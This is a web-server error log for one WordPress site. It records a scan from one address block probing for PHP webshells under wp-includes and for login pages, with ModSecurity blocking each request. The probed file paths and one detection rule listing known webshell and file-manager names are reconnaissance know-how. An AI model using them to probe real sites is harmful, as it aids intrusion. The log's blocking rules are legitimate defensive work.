[Tue Apr 21 20:28:29.365022 2026] [:error] [pid 53978:tid 53982] [client 45.137.126.53:36275] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aedtbZ1ivsR4hcOSQbYZ8gAAAoI"]
[Tue Apr 21 20:28:30.335750 2026] [:error] [pid 35321:tid 35394] [client 45.137.126.8:31015] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aedtbjeHLhVUuu8cVXyMKgAAAEo"]
[Tue Apr 21 20:28:31.386581 2026] [:error] [pid 53731:tid 53740] [client 45.137.126.35:59789] [client 45.137.126.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aedtb12I9THUR-bRVGxbGgAAAgU"]
[Tue Apr 21 20:28:34.820537 2026] [:error] [pid 35321:tid 35406] [client 45.137.126.8:38497] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aedtcjeHLhVUuu8cVXyMOgAAAFY"]
[Tue Apr 21 20:28:36.800115 2026] [:error] [pid 54080:tid 54086] [client 45.137.126.18:20971] [client 45.137.126.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aedtdIzEbQHHxtmWbaayIAAAAsQ"]
[Tue Apr 21 20:28:39.721765 2026] [:error] [pid 35320:tid 35330] [client 45.137.126.26:37207] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aedtd4JW6fdXWO6agMG0DAAAAAA"]
[Tue Apr 21 20:28:44.122541 2026] [:error] [pid 35321:tid 35403] [client 45.137.126.27:61133] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aedtfDeHLhVUuu8cVXyMgAAAAFM"]
[Tue Apr 21 20:28:46.557520 2026] [:error] [pid 54080:tid 54091] [client 45.137.126.17:36675] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aedtfozEbQHHxtmWbaayKgAAAsk"]
[Tue Apr 21 20:28:47.545737 2026] [:error] [pid 53731:tid 53735] [client 45.137.126.13:28429] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aedtf12I9THUR-bRVGxbHgAAAgA"]
[Tue Apr 21 20:28:50.482138 2026] [:error] [pid 53731:tid 53758] [client 45.137.126.41:56525] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aedtgl2I9THUR-bRVGxbIwAAAhY"]
[Tue Apr 21 20:28:52.946900 2026] [proxy_fcgi:error] [pid 4823:tid 4855] [client 45.137.126.9:60825] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 20:28:53.435704 2026] [proxy_fcgi:error] [pid 4823:tid 4859] [client 45.137.126.9:60825] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 20:28:53.927508 2026] [proxy_fcgi:error] [pid 4823:tid 4863] [client 45.137.126.9:60825] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 20:28:56.368486 2026] [:error] [pid 4823:tid 4856] [client 45.137.126.9:60825] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aedtiPc8mke3PfHqsxH7rQAAAYM"]
[Tue Apr 21 20:28:59.003161 2026] [:error] [pid 35321:tid 35396] [client 45.137.126.4:28327] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aedtizeHLhVUuu8cVXyNBgAAAEw"]
[Tue Apr 21 20:28:59.977435 2026] [:error] [pid 35320:tid 35331] [client 45.137.126.14:55501] [client 45.137.126.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aedti4JW6fdXWO6agMG0PQAAAAE"]
[Tue Apr 21 20:29:01.051359 2026] [:error] [pid 35321:tid 35406] [client 45.137.126.34:24641] [client 45.137.126.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aedtjTeHLhVUuu8cVXyNFgAAAFY"]
[Tue Apr 21 20:29:02.028797 2026] [:error] [pid 54080:tid 54089] [client 45.137.126.29:29937] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aedtjozEbQHHxtmWbaayOAAAAsc"]
[Tue Apr 21 20:29:03.006024 2026] [:error] [pid 35320:tid 35344] [client 45.137.126.39:27493] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aedtj4JW6fdXWO6agMG0QAAAAA4"]
[Tue Apr 21 20:29:04.464395 2026] [:error] [pid 53731:tid 53757] [client 45.137.126.25:22021] [client 45.137.126.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aedtkF2I9THUR-bRVGxbQQAAAhU"]
[Tue Apr 21 20:29:05.435601 2026] [:error] [pid 35320:tid 35353] [client 45.137.126.33:63403] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aedtkYJW6fdXWO6agMG0RQAAABc"]
[Tue Apr 21 20:29:06.409693 2026] [:error] [pid 54080:tid 54102] [client 45.137.126.39:28007] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aedtkozEbQHHxtmWbaayPQAAAtQ"]
[Tue Apr 21 20:29:07.386982 2026] [:error] [pid 35320:tid 35352] [client 45.137.126.43:31133] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aedtk4JW6fdXWO6agMG0TAAAABY"]
[Tue Apr 21 20:29:09.337390 2026] [:error] [pid 35321:tid 35388] [client 45.137.126.17:23897] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aedtlTeHLhVUuu8cVXyNTQAAAEQ"]
[Tue Apr 21 20:29:10.810088 2026] [:error] [pid 4823:tid 4860] [client 45.137.126.42:24331] [client 45.137.126.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aedtlvc8mke3PfHqsxH7sQAAAYc"]
[Tue Apr 21 20:29:12.763062 2026] [:error] [pid 35322:tid 35371] [client 45.137.126.4:27429] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aedtmKPoAfV40BTfVKza-AAAAI4"]
[Tue Apr 21 20:29:14.707418 2026] [:error] [pid 35320:tid 35347] [client 45.137.126.31:46001] [client 45.137.126.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aedtmoJW6fdXWO6agMG0XwAAABE"]
[Tue Apr 21 20:29:19.063704 2026] [:error] [pid 35415:tid 35441] [client 45.137.126.30:46293] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aedtn0iqDinI4_22zzhyXQAAAM4"]
[Tue Apr 21 20:29:22.028370 2026] [:error] [pid 53978:tid 54003] [client 45.137.126.41:20071] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aedtop1ivsR4hcOSQbYaXQAAApc"]
[Tue Apr 21 20:29:23.492743 2026] [:error] [pid 53832:tid 53845] [client 45.137.126.49:30709] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aedto9zkuxsE_OhM9UJnkgAAAko"]
[Tue Apr 21 20:29:33.794387 2026] [:error] [pid 54080:tid 54084] [client 45.137.126.16:41581] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aedtrYzEbQHHxtmWbaayXwAAAsI"]
[Tue Apr 21 20:29:34.763548 2026] [:error] [pid 4777:tid 4808] [client 45.137.126.15:32007] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aedtrqxXur6bykKyLZSoZQAAARQ"]
[Tue Apr 21 20:29:36.231064 2026] [:error] [pid 35321:tid 35384] [client 45.137.126.12:52115] [client 45.137.126.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aedtsDeHLhVUuu8cVXyNvQAAAEA"]
[Tue Apr 21 20:29:38.186065 2026] [:error] [pid 35321:tid 35388] [client 45.137.126.47:42093] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aedtsjeHLhVUuu8cVXyNzAAAAEQ"]
[Tue Apr 21 20:29:39.155406 2026] [:error] [pid 35320:tid 35344] [client 45.137.126.43:37973] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aedts4JW6fdXWO6agMG0eQAAAA4"]
[Tue Apr 21 20:29:42.103592 2026] [:error] [pid 35320:tid 35342] [client 45.137.126.40:27201] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aedttoJW6fdXWO6agMG0jgAAAAw"]
[Tue Apr 21 20:29:43.072510 2026] [:error] [pid 35321:tid 35407] [client 45.137.126.45:21323] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aedttzeHLhVUuu8cVXyN0wAAAFc"]
[Tue Apr 21 20:29:46.492034 2026] [:error] [pid 53731:tid 53756] [client 45.137.126.17:30581] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aedtul2I9THUR-bRVGxbYwAAAhQ"]
[Tue Apr 21 20:29:47.964499 2026] [proxy_fcgi:error] [pid 35321:tid 35407] [client 45.137.126.24:53307] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 20:29:48.956167 2026] [:error] [pid 35321:tid 35390] [client 45.137.126.24:53307] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aedtvDeHLhVUuu8cVXyOHwAAAEY"]
[Tue Apr 21 20:29:49.939815 2026] [:error] [pid 35320:tid 35341] [client 45.137.126.29:64357] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aedtvYJW6fdXWO6agMG0mQAAAAs"]
[Tue Apr 21 20:29:51.904752 2026] [:error] [pid 35321:tid 35387] [client 45.137.126.13:45229] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aedtvzeHLhVUuu8cVXyONQAAAEM"]
[Tue Apr 21 20:29:52.880787 2026] [:error] [pid 53832:tid 53847] [client 45.137.126.51:23295] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aedtwNzkuxsE_OhM9UJn0QAAAkw"]
[Tue Apr 21 20:29:57.306004 2026] [:error] [pid 53731:tid 53758] [client 45.137.126.36:60985] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aedtxV2I9THUR-bRVGxbgQAAAhY"]
[Tue Apr 21 20:29:58.281609 2026] [:error] [pid 35320:tid 35331] [client 45.137.126.21:52407] [client 45.137.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aedtxoJW6fdXWO6agMG0oQAAAAE"]
[Tue Apr 21 20:30:01.501432 2026] [:error] [pid 35320:tid 35346] [client 45.137.126.51:20761] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aedtyYJW6fdXWO6agMG0vQAAABA"]
[Tue Apr 21 20:30:02.476157 2026] [:error] [pid 4777:tid 4804] [client 45.137.126.23:52783] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aedtyqxXur6bykKyLZSofwAAARA"]
[Tue Apr 21 20:30:03.455955 2026] [:error] [pid 4777:tid 4788] [client 45.137.126.17:28729] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aedty6xXur6bykKyLZSogAAAAQA"]
[Tue Apr 21 20:30:06.877752 2026] [:error] [pid 35321:tid 35385] [client 45.137.126.27:32327] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aedtzjeHLhVUuu8cVXyOxgAAAEE"]
[Tue Apr 21 20:30:08.357093 2026] [:error] [pid 53978:tid 53981] [client 45.137.126.53:21683] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aedt0J1ivsR4hcOSQbYa4QAAAoE"]
[Tue Apr 21 20:30:12.845619 2026] [:error] [pid 35320:tid 35341] [client 45.137.126.27:46141] [client 45.137.126.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.27, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "aedt1IJW6fdXWO6agMG06QAAAAs"]
[Tue Apr 21 20:30:15.790924 2026] [:error] [pid 35320:tid 35346] [client 45.137.126.27:46141] [client 45.137.126.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.27, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aedt14JW6fdXWO6agMG08gAAABA"]
[Tue Apr 21 20:30:21.196530 2026] [proxy_fcgi:error] [pid 35320:tid 35352] [client 45.137.126.27:46141] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 20:30:29.657337 2026] [:error] [pid 35320:tid 35339] [client 45.137.126.27:46141] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aedt5YJW6fdXWO6agMG1GwAAAAk"]
[Tue Apr 21 20:30:32.149958 2026] [:error] [pid 54080:tid 54098] [client 45.137.126.41:63975] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aedt6IzEbQHHxtmWbaayiAAAAtA"]
